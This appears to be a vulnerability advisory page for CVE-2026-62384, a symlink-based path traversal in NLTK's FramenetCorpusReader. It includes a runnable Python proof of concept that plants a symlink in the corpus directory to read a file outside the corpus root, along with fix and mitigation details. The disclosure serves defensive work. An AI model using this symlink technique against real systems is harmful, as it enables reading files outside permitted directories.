CVE-2026-62384 — nltk
Fix: nltk/nltk#3726CVE-2026-62384 is a Path Traversal vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.
NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-62384.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | ≥ 3.10.0&&< 3.10.2 | 3.10.2pip install --upgrade 'nltk==3.10.2' |
Affected Products
nltknltkDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nltk to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-62384 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A path traversal vulnerability exists in NLTK's FramenetCorpusReader component via symbolic links. When resolving corpus files using methods like frame_by_name(), _lu_file(), or doc(), path validation checks fail to restrict symlinks containing no path separators within subdirectories. An attacker capable of placing…
Restrict write permissions on NLTK corpus subdirectories to prevent unauthorized symlink creation, or sanitize input paths to prevent FramenetCorpusReader from loading untrusted corpus files containing unresolved symbolic links.Source: Red Hat security advisory for CVE-2026-62384 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 3.3 | rhoai/odh-llama-stack-core-rhel9:1789121286 | RHSA-2026:73987 |
| Red Hat OpenShift AI 3.5 | rhoai/odh-ta-lmes-job-rhel9:1788935863 | RHSA-2026:69539 |
Frequently Asked Questions
Is CVE-2026-62384 in your dependencies?
Find it across PyPI, including transitive dependencies.